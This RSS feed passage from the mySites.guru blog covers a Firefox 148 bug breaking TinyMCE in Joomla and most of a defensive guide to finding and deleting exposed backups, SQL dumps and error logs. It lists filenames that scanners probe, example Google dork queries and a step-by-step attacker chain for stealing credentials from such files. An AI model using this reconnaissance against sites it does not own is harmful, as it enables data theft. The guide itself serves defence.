&lt;li&gt;&lt;strong&gt;Chrome, Safari, Edge&lt;/strong&gt;: Unaffected. These browsers never implemented &lt;code&gt;mozInputSource&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This means the issue only hits users and content editors who use Firefox. If your agency standardizes on Chrome, you might not have noticed. But if even one of your clients or their editors uses Firefox, their editing workflow broke overnight with no warning.&lt;/p&gt;
&lt;h2&gt;Which Joomla versions are affected?&lt;/h2&gt;
&lt;p&gt;Every version of Joomla that includes TinyMCE as the default editor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla 4.4.x&lt;/strong&gt; (confirmed on 4.4.14)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 5.4.x&lt;/strong&gt; (confirmed on 5.4.3)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 6.0.x&lt;/strong&gt; (confirmed on 6.0.3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The bug is in TinyMCE&apos;s JavaScript, not in Joomla&apos;s PHP code. Any Joomla installation using the bundled TinyMCE editor is affected regardless of template, extensions, or server configuration.&lt;/p&gt;
&lt;h2&gt;What is the upstream TinyMCE issue?&lt;/h2&gt;
&lt;p&gt;The root cause sits in TinyMCE itself, tracked as &lt;a href=&quot;https://github.com/tinymce/tinymce/issues/10947&quot;&gt;GitHub issue #10947&lt;/a&gt; on the TinyMCE repository. The fix required TinyMCE to switch from the removed &lt;code&gt;MouseEvent.mozInputSource&lt;/code&gt; to the standard &lt;code&gt;PointerEvent.pointerType&lt;/code&gt; API, which provides the same input-device detection using a cross-browser standard.&lt;/p&gt;
&lt;p&gt;Joomla&apos;s fix, tracked as &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46889&quot;&gt;PR #46889&lt;/a&gt;, patches the TinyMCE initialization script bundled with Joomla. The fix modifies a single file: &lt;code&gt;build/media_source/plg_editors_tinymce/js/tinymce.es6.js&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;How did Joomla respond?&lt;/h2&gt;
&lt;p&gt;The Joomla project handled this well. The issue was &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47238&quot;&gt;flagged&lt;/a&gt; on February 26, the same day Firefox 148 shipped. The fix was already merged into the development branches before the report was even filed, because the Joomla team had caught it during Firefox Developer Edition testing.&lt;/p&gt;
&lt;p&gt;The Joomla Magazine published a detailed post-mortem titled &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2026/how-we-decided-not-to-panic-the-joomla-post-release-decision-process&quot;&gt;&quot;How we decided not to panic&quot;&lt;/a&gt;, walking through the team&apos;s decision process for handling the incident. Rather than rushing out emergency point releases, they chose to ship hotfix packages that site owners could install through Extension Manager while preparing proper releases on the normal timeline.&lt;/p&gt;
&lt;p&gt;Credit where it&apos;s due - the Joomla team got the response right on this one.&lt;/p&gt;
&lt;h2&gt;How do you fix the Joomla TinyMCE issue?&lt;/h2&gt;
&lt;h3&gt;Upgrade all your Joomla sites from one dashboard with mySites.guru&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4 shipped on March 31, 2026&lt;/a&gt; with the TinyMCE fix included permanently, plus six security patches covering SQL injection, XSS, arbitrary file deletion, and access control issues. Update to these versions if you haven&apos;t already.&lt;/p&gt;
&lt;p&gt;If you manage multiple Joomla sites, the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade tool&lt;/a&gt; is the fastest way to get every site patched. Filter your &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;dashboard&lt;/a&gt; by Joomla version to find sites still on 5.4.3 or 6.0.3, select them all, and hit upgrade. Every site updates in one operation - no logging into individual admin panels, no downloading packages manually.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; tracks Joomla core versions and &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension versions across every connected site&lt;/a&gt;, so you can see at a glance which sites still need the update. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade tool&lt;/a&gt; works for any Joomla point release, not just this one - whenever a security update drops, you can &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;push it across your entire portfolio from one screen&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Fixing a single site manually&lt;/h3&gt;
&lt;p&gt;If you only manage one site, or don&apos;t have a mySites.guru account yet, update through your Joomla admin panel:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Joomla Update&lt;/strong&gt; in your admin&lt;/li&gt;
&lt;li&gt;You should see Joomla 5.4.4 or 6.0.4 available&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Install the Update&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Clear your browser cache and reload the article editor&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Still on the hotfix? Time to update&lt;/h3&gt;
&lt;p&gt;If you applied the TinyMCE hotfix package for Joomla 5.4.3 or 6.0.3 earlier, updating to 5.4.4 / 6.0.4 supersedes it. The hotfix only patched TinyMCE&apos;s JavaScript - the full release includes that same fix plus six security patches you need anyway. Use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;Mass Package Installer&lt;/a&gt; or the Mass Upgrade tool to get all sites current.&lt;/p&gt;
&lt;h3&gt;Switch editors temporarily&lt;/h3&gt;
&lt;p&gt;Changing the default editor to &lt;strong&gt;CodeMirror&lt;/strong&gt; or &lt;strong&gt;JCE&lt;/strong&gt; avoids the problem entirely. Go to &lt;strong&gt;System &amp;gt; Global Configuration &amp;gt; Default Editor&lt;/strong&gt;. This is a workaround, not a fix, and should be reversed once you update to 5.4.4 / 6.0.4.&lt;/p&gt;
&lt;h2&gt;What does this incident teach us?&lt;/h2&gt;
&lt;p&gt;Browser vendors remove deprecated APIs on their own schedule. They do not coordinate with every CMS and JavaScript library that might depend on those APIs. Mozilla deprecated &lt;code&gt;mozInputSource&lt;/code&gt; years ago, but the actual removal still caught TinyMCE (and by extension, every CMS that bundles it) off guard.&lt;/p&gt;
&lt;p&gt;This is not unique to Joomla. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; showed the same pattern: a third-party component breaks, and agencies need to identify affected sites and deploy a fix across their entire portfolio fast. The only defense is staying current with updates and having a process to &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;roll out fixes quickly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For agencies managing client sites, incidents like this are exactly why &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;building a morning check routine&lt;/a&gt; matters. A quick scan of your dashboard catches problems before your clients call you about them.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 6.0.4 / 5.4.4 release announcement&lt;/a&gt; - The official release that includes the TinyMCE fix and six security patches&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.joomla.org/cms/joomla6/6-0-3&quot;&gt;Joomla 6.0.3 / 5.4.3 hotfix downloads&lt;/a&gt; - Hotfix packages for sites that cannot update to 5.4.4 / 6.0.4 yet&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2026/how-we-decided-not-to-panic-the-joomla-post-release-decision-process&quot;&gt;&quot;How we decided not to panic&quot; - Joomla Magazine&lt;/a&gt; - The Joomla team&apos;s post-mortem on their decision process&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47238&quot;&gt;GitHub Issue #47238&lt;/a&gt; - The original bug report with community confirmation across platforms&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tinymce/tinymce/issues/10947&quot;&gt;TinyMCE Issue #10947&lt;/a&gt; - The upstream TinyMCE bug report about the mozInputSource removal&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46889&quot;&gt;Joomla PR #46889&lt;/a&gt; - The merged fix that patches TinyMCE initialization&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Edge cases like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>firefox</category><category>tinymce</category><category>browser compatibility</category><category>hotfix</category><enclosure url="https://mysites.guru/_astro/joomla-tinymce-firefox-148-fix.CHqCL4_u.png" length="0" type="image/png"/></item><item><title>How to Clean Up Dangerous Files Left on Your Joomla Web Server</title><link>https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/</guid><description>ZIP archives, SQL dumps, and PHP error logs left on your Joomla server are security risks waiting to be exploited. Find and remove them before an attacker does.</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You finished the migration. You ran the backup. You exported the database so you could import it on the staging server. And then you moved on to the next task, because there are always more tasks.&lt;/p&gt;
&lt;p&gt;Those files are still sitting on your server. The ZIP archive of the old site. The SQL dump with every user&apos;s email address and hashed password. The PHP error log that&apos;s been growing for three years, recording every database connection string and file path on your server.&lt;/p&gt;
&lt;p&gt;Nobody remembers they&apos;re there. But anyone with a browser can download them.&lt;/p&gt;
&lt;p&gt;This is one of the most common and most overlooked security problems on Joomla sites. Not a code vulnerability or a zero-day exploit - just files that should never have been left in a publicly accessible directory, forgotten and exposed to anyone who knows where to look.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Find These Files?&lt;/h2&gt;
&lt;p&gt;When you run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on any site connected to mySites.guru, the audit engine scans every file in your webspace and classifies them. Several audit tools specifically target dangerous file types:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;Archive Files Tool&lt;/h3&gt;
&lt;p&gt;The archive files tool counts every archive file on your site: ZIP, TAR, TAR.GZ, GZ, RAR, JPA, JPS, and other compressed formats. The audit result shows a count with a colour-coded badge:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - no archive files found&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yellow/Red&lt;/strong&gt; - archive files detected, investigation recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click through to see the full list with file paths, sizes, and modification dates. This is where you&apos;ll spot the migration archive from two years ago, the Akeeba backup someone forgot to delete, or the mystery ZIP file in &lt;code&gt;/tmp/&lt;/code&gt; that you&apos;ve never seen before. Some ZIP files are legitimate - if your site offers downloadable resources, those archives are intentional and should stay. The tool helps you distinguish between files you put there on purpose and ones that were left behind by accident.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;SQL Dump Files Tool&lt;/h3&gt;
&lt;p&gt;SQL dumps get their own dedicated tool because of the severity of the data they expose. Any file with a &lt;code&gt;.sql&lt;/code&gt; extension (or &lt;code&gt;.sql.gz&lt;/code&gt;, &lt;code&gt;.sql.zip&lt;/code&gt;) is flagged and listed. Not every &lt;code&gt;.sql&lt;/code&gt; file is a database dump. Joomla itself ships with hundreds of &lt;code&gt;.sql&lt;/code&gt; files in its core - schema creation scripts, migration scripts, and upgrade queries used during installation and updates. Extensions and WordPress plugins include them too. Those are normal and expected. But a file called &lt;code&gt;backup-2024-03.sql&lt;/code&gt; or &lt;code&gt;joomla_db.sql.gz&lt;/code&gt; in your site root is a different story entirely, and the tool makes it easy to tell the difference by showing file paths, sizes, and modification dates.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs Tool&lt;/h3&gt;
&lt;p&gt;The error log tool finds PHP error log files throughout your webspace. These often have predictable names (&lt;code&gt;error_log&lt;/code&gt;, &lt;code&gt;php_errorlog&lt;/code&gt;, &lt;code&gt;php_errors.log&lt;/code&gt;) but the tool catches them regardless of naming because it identifies them by content pattern, not just filename.&lt;/p&gt;
&lt;h3&gt;Large Files Tool&lt;/h3&gt;
&lt;p&gt;Files over 2MB are flagged separately. This catches oversized error logs that have grown unchecked, large backup archives, database dumps, and other files that shouldn&apos;t typically exist in a web application&apos;s directory structure. A 400MB file in your webspace is almost never legitimate application code. It&apos;s a backup, a log, or something that doesn&apos;t belong there.&lt;/p&gt;
&lt;h3&gt;Running This Across All Your Sites&lt;/h3&gt;
&lt;p&gt;If you manage multiple Joomla sites, checking each one manually would take hours. With mySites.guru, every &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audit&lt;/a&gt; automatically scans all your connected sites for these file types.&lt;/p&gt;
&lt;p&gt;You can also pivot on any audit tool to see every site&apos;s result for that specific check on a single page. Click &quot;Locate And Review Any SQL Files&quot; and you&apos;ll see which of your 500+ sites have SQL dumps sitting in their webspace, with an Investigate button to drill straight into the details.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The dashboard view makes patterns obvious. If one site has archive files and the rest don&apos;t, that&apos;s a one-off cleanup task. If half your sites have PHP error logs, you&apos;ve got a systemic configuration issue worth addressing at the hosting level.&lt;/p&gt;
&lt;h2&gt;What Files Did You Forget About?&lt;/h2&gt;
&lt;p&gt;These are the file types that mySites.guru flags as dangerous, and why each one matters.&lt;/p&gt;
&lt;h3&gt;Archive Files (ZIP, TAR.GZ, RAR, JPA)&lt;/h3&gt;
&lt;p&gt;Archive files are the most common offender. They end up on web servers for all sorts of legitimate reasons (site migrations, manual backups, extension installations, staging environment setup) and then they just stay there.&lt;/p&gt;
&lt;p&gt;The problem is simple: any file in your document root is accessible via HTTP. If you have a file called &lt;code&gt;backup-2024-11-15.zip&lt;/code&gt; in your site root, anyone can download it by visiting &lt;code&gt;https://yoursite.com/backup-2024-11-15.zip&lt;/code&gt;. No authentication required. No special access needed. Just a direct URL to a file that probably contains your entire site, including &lt;code&gt;configuration.php&lt;/code&gt; with your database password, your SMTP credentials, and every secret your Joomla installation knows about.&lt;/p&gt;
&lt;p&gt;This is not theoretical. The &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; specifically lists backup archives as a test case for penetration testers because they&apos;re found on production servers so frequently. Automated scanners probe for common backup filenames as part of their standard reconnaissance. Files like &lt;code&gt;site.zip&lt;/code&gt;, &lt;code&gt;backup.tar.gz&lt;/code&gt;, &lt;code&gt;joomla.zip&lt;/code&gt;, &lt;code&gt;database.sql.gz&lt;/code&gt;, and variations with dates are checked routinely.&lt;/p&gt;
&lt;p&gt;Akeeba Backup users face an additional risk. By default, Akeeba stores its backup archives in &lt;code&gt;/administrator/components/com_akeeba/backup/&lt;/code&gt;. The directory is protected by a &lt;code&gt;.htaccess&lt;/code&gt; file on Apache servers, but that protection doesn&apos;t exist on Nginx or LiteSpeed unless you&apos;ve configured it manually. And even on Apache, a misconfigured &lt;code&gt;.htaccess&lt;/code&gt; or a server migration that dropped the file means those archives (your entire site in a single downloadable package) are exposed. This is precisely why Akeeba&apos;s own documentation tells you to download the backup and delete it from the server. Most people skip that second step.&lt;/p&gt;
&lt;p&gt;The same applies to any &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup tool&lt;/a&gt;. If your backup workflow leaves archive files on the server, you&apos;re carrying risk for as long as those files exist.&lt;/p&gt;
&lt;h3&gt;SQL Database Dumps&lt;/h3&gt;
&lt;p&gt;SQL dump files are arguably worse than archives, because they&apos;re plain text. (For a deeper look at securing the database itself, including user privileges, table prefixes, and backup table cleanup, see our &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Joomla database security guide&lt;/a&gt;.) No decompression needed. An attacker who downloads your &lt;code&gt;.sql&lt;/code&gt; file can open it in any text editor and immediately see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every user account in your Joomla installation, including usernames, email addresses, and password hashes&lt;/li&gt;
&lt;li&gt;Administrator credentials - if your admin password hash is weak, it can be cracked offline in minutes&lt;/li&gt;
&lt;li&gt;Email addresses for newsletter subscribers, contact form submissions, and registered users&lt;/li&gt;
&lt;li&gt;Unpublished articles, draft pages, and configuration data stored in extension tables&lt;/li&gt;
&lt;li&gt;Table names, column names, and relationships that reveal exactly what extensions you run and how your site is built&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SQL dumps end up on servers for the same reasons archives do. You exported the database for a migration. You ran &lt;code&gt;mysqldump&lt;/code&gt; from the command line to create a quick backup before an upgrade. You downloaded a copy to work on locally and forgot to delete it from the server. Your hosting panel&apos;s backup tool dropped a &lt;code&gt;.sql&lt;/code&gt; file into your home directory and you never noticed.&lt;/p&gt;
&lt;p&gt;A file called &lt;code&gt;joomla_db.sql&lt;/code&gt; or &lt;code&gt;database-backup.sql&lt;/code&gt; sitting in your document root is a data breach waiting for someone to request the URL.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs&lt;/h3&gt;
&lt;p&gt;PHP error logs are the silent information leak that almost nobody thinks about. When PHP encounters an error (a deprecated function call, a failed database connection, an undefined variable) it writes the details to a log file. On many shared hosting configurations, that log file lives right in your webspace, often named &lt;code&gt;error_log&lt;/code&gt; or &lt;code&gt;php_errorlog&lt;/code&gt;, sitting in whatever directory the error occurred in.&lt;/p&gt;
&lt;p&gt;Over time, these logs accumulate a significant amount of sensitive information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full server file paths, revealing your hosting account structure, username, and directory layout&lt;/li&gt;
&lt;li&gt;Database connection errors that log the hostname, username, and sometimes the password used in the connection attempt&lt;/li&gt;
&lt;li&gt;API keys and tokens, if an API call fails and the key was passed as a function parameter&lt;/li&gt;
&lt;li&gt;Extension names and versions from deprecation warnings and compatibility errors&lt;/li&gt;
&lt;li&gt;Stack traces that reveal how your code works internally&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.php.net/manual/en/errorfunc.configuration.php&quot;&gt;PHP documentation&lt;/a&gt; explains how &lt;code&gt;error_log&lt;/code&gt; and &lt;code&gt;log_errors&lt;/code&gt; control where these files are written. The default behavior on most shared hosting is to write errors to a file in the current directory, which means you can end up with &lt;code&gt;error_log&lt;/code&gt; files scattered throughout your webspace: one in your site root, one in &lt;code&gt;/administrator/&lt;/code&gt;, one in &lt;code&gt;/components/com_whatever/&lt;/code&gt;, and so on. Each one is publicly downloadable unless your server is configured to block access.&lt;/p&gt;
&lt;p&gt;A PHP error log might not sound as dramatic as a database dump, but it gives an attacker exactly the intelligence they need to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;plan a targeted attack&lt;/a&gt; against your specific server configuration.&lt;/p&gt;
&lt;h3&gt;Old Backup Files and Renamed Originals&lt;/h3&gt;
&lt;p&gt;Then there are the ad-hoc backup files that developers create during troubleshooting. You&apos;ve done this. Everyone has. You rename &lt;code&gt;configuration.php&lt;/code&gt; to &lt;code&gt;configuration.php.bak&lt;/code&gt; before editing it, just in case. You copy &lt;code&gt;index.php&lt;/code&gt; to &lt;code&gt;index.php.old&lt;/code&gt; before making changes. You duplicate &lt;code&gt;.htaccess&lt;/code&gt; as &lt;code&gt;.htaccess.backup&lt;/code&gt; before modifying redirect rules.&lt;/p&gt;
&lt;p&gt;Your web server knows that &lt;code&gt;configuration.php&lt;/code&gt; is a PHP file and executes it server-side, so its contents are never exposed to browsers. But &lt;code&gt;configuration.php.bak&lt;/code&gt;? That&apos;s not a PHP file. The server treats it as plain text and serves it directly. Anyone who requests &lt;code&gt;https://yoursite.com/configuration.php.bak&lt;/code&gt; gets to read your database password, your FTP credentials, your secret salt, your SMTP password - everything in that file, rendered as plain text in their browser.&lt;/p&gt;
&lt;p&gt;This applies to any file that&apos;s been renamed with an extension the server doesn&apos;t process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;configuration.php.bak&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php.old&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php.save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php~&lt;/code&gt; (Vim backup files)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp-config.php.bak&lt;/code&gt; (on WordPress sites you also manage)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.htaccess.backup&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These renamed files are trivially easy to find. Automated scanners check for common backup extensions on known filenames as part of every standard scan. If you&apos;ve ever created one and forgotten to delete it, it&apos;s been discoverable by anyone running basic recon against your server.&lt;/p&gt;
&lt;h2&gt;Why Do These Files Exist in the First Place?&lt;/h2&gt;
&lt;p&gt;Nobody puts a database dump on a production server and thinks &quot;this is a great idea.&quot; These files accumulate through perfectly reasonable workflows that just happen to leave dangerous artifacts behind.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Migrations&lt;/strong&gt; are the biggest culprit. Moving a Joomla site from one server to another typically involves creating an archive of the files, exporting the database, uploading both to the new server, and importing. The import is done, the site works, everyone moves on, and the archive and SQL dump sit on the new server indefinitely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Manual backups before upgrades&lt;/strong&gt; are another common source. Before running a major Joomla update, a cautious admin might create a quick database dump or file archive, just in case the update goes wrong. The update works fine, and the backup becomes invisible clutter. Over time, these accumulate. We&apos;ve seen sites with a dozen old backup archives spanning years of updates, each one a complete snapshot of the site at that point in time, including whatever vulnerabilities existed then.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Development and staging workflows&lt;/strong&gt; leave artifacts too. Developers working directly on production (it happens, even when we all know it shouldn&apos;t) create temp files, SQL dumps for testing, archive packages for deployment. Files with names like &lt;code&gt;test.sql&lt;/code&gt;, &lt;code&gt;staging-dump.sql.gz&lt;/code&gt;, &lt;code&gt;old-site.tar.gz&lt;/code&gt;, or &lt;code&gt;site-before-redesign.zip&lt;/code&gt; are surprisingly common.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hosting control panels&lt;/strong&gt; sometimes contribute by storing backups in subdirectories of your document root. cPanel, Plesk, and DirectAdmin all have backup tools that can create archives in locations that are web-accessible. If the panel&apos;s default backup directory overlaps with your document root, those backups are publicly downloadable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PHP error logs&lt;/strong&gt; grow silently because they&apos;re a byproduct of normal operation. Every time a visitor triggers a PHP error (a missing image in a template, a deprecated function in an old extension, a database timeout during heavy traffic) the log file gets another entry. Nobody notices until the file is 500MB and eating into &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What Does a Real-World Attack Look Like?&lt;/h2&gt;
&lt;p&gt;Here&apos;s how an attacker actually exploits these files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Discovery.&lt;/strong&gt; The attacker runs a scanner against your domain. The scanner tries common filenames (&lt;code&gt;backup.zip&lt;/code&gt;, &lt;code&gt;site.zip&lt;/code&gt;, &lt;code&gt;database.sql&lt;/code&gt;, &lt;code&gt;db.sql&lt;/code&gt;, &lt;code&gt;error_log&lt;/code&gt;, &lt;code&gt;dump.sql&lt;/code&gt;, &lt;code&gt;configuration.php.bak&lt;/code&gt;) and checks the HTTP response code. A 200 means the file exists and is downloadable. A 403 means it exists but access is denied (still useful intelligence). A 404 means it&apos;s not there. This takes seconds.&lt;/p&gt;
&lt;p&gt;If your server has &lt;a href=&quot;https://httpd.apache.org/docs/2.4/mod/mod_autoindex.html&quot;&gt;directory listing enabled&lt;/a&gt; (Apache&apos;s &lt;code&gt;mod_autoindex&lt;/code&gt; with &lt;code&gt;Options +Indexes&lt;/code&gt;), the attacker doesn&apos;t even need to guess filenames. They can browse your directories like a file manager and see everything. The mySites.guru audit checks for this too, and &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;directory listing should always be disabled&lt;/a&gt; on production servers.&lt;/p&gt;
&lt;p&gt;Google dorking (using search operators like &lt;code&gt;inurl:backup.sql&lt;/code&gt; or &lt;code&gt;filetype:sql inurl:wp-content&lt;/code&gt;) used to be another common discovery method. Google has been restricting these queries in 2025 and 2026, filtering out more sensitive results and returning fewer &quot;interesting&quot; matches. That&apos;s a welcome change, but it only reduces one discovery vector. Direct filename scanning against your server doesn&apos;t depend on Google at all, and that&apos;s still the primary way attackers find these files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Extraction.&lt;/strong&gt; The attacker downloads whatever they found. A SQL dump gives them your user table immediately. An archive file gives them everything: they extract it locally and start reading your &lt;code&gt;configuration.php&lt;/code&gt;. A PHP error log gives them file paths, extension names, and server details that inform the next phase of the attack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Exploitation.&lt;/strong&gt; With database credentials from &lt;code&gt;configuration.php&lt;/code&gt;, the attacker connects directly to your database if the MySQL port is exposed (or if they&apos;re on the same shared hosting server). With admin password hashes from the SQL dump, they run an offline cracking tool and weak passwords fall in seconds. With knowledge of your exact extension versions from error logs, they search for known vulnerabilities in those specific versions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Access.&lt;/strong&gt; The attacker logs in as an administrator using cracked credentials, or accesses the database directly, or exploits a vulnerability they identified from the intelligence gathered. At this point your site is compromised, and the initial point of entry wasn&apos;t a bug in your code. It was a file you forgot to delete.&lt;/p&gt;
&lt;p&gt;This entire chain can happen within minutes. There&apos;s no &quot;hacking&quot; in the Hollywood sense. It&apos;s just downloading files that shouldn&apos;t be publicly accessible and reading what&apos;s inside them.&lt;/p&gt;
&lt;h2&gt;What Should You Do When You Find These Files?&lt;/h2&gt;
&lt;p&gt;Finding dangerous files is only useful if you actually deal with them. Here&apos;s the priority order:&lt;/p&gt;
&lt;h3&gt;1. SQL Dumps - Delete Immediately&lt;/h3&gt;
&lt;p&gt;There is no reason for a SQL dump file to exist in your webspace. None. If you need database backups (and you do), they should be stored offsite: on a local machine, in cloud storage, or through a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup service&lt;/a&gt; that stores backups outside your document root. Delete every &lt;code&gt;.sql&lt;/code&gt; file from your webspace right now.&lt;/p&gt;
&lt;p&gt;If the SQL dump was downloadable and you don&apos;t know for how long, assume the data has been compromised. Change your database password. Change your Joomla admin passwords. If the dump contained user data, you may have notification obligations depending on your jurisdiction.&lt;/p&gt;
&lt;h3&gt;2. Archive Files - Delete or Move&lt;/h3&gt;
&lt;p&gt;Archive files belong in offsite storage, not in your webspace. Download them to your local machine first if you need them, then delete them from the server.&lt;/p&gt;
&lt;p&gt;If you must keep an archive on the server temporarily (during an active migration, for example), move it above the document root where it&apos;s not web-accessible. On most hosting setups, your document root is something like &lt;code&gt;/home/username/public_html/&lt;/code&gt;. Files placed in &lt;code&gt;/home/username/&lt;/code&gt; (one level up) are not accessible via HTTP.&lt;/p&gt;
&lt;p&gt;If that&apos;s not possible, create a &lt;code&gt;.htaccess&lt;/code&gt; file in the directory containing the archive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(zip|tar|gz|rar|jpa|jps|sql)$&quot;&amp;gt;
  Require all denied
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This blocks HTTP access to those file types in that directory. But this is a band-aid - the files should still be moved offsite and deleted as soon as possible.&lt;/p&gt;
&lt;h3&gt;3. PHP Error Logs - Delete and Reconfigure&lt;/h3&gt;
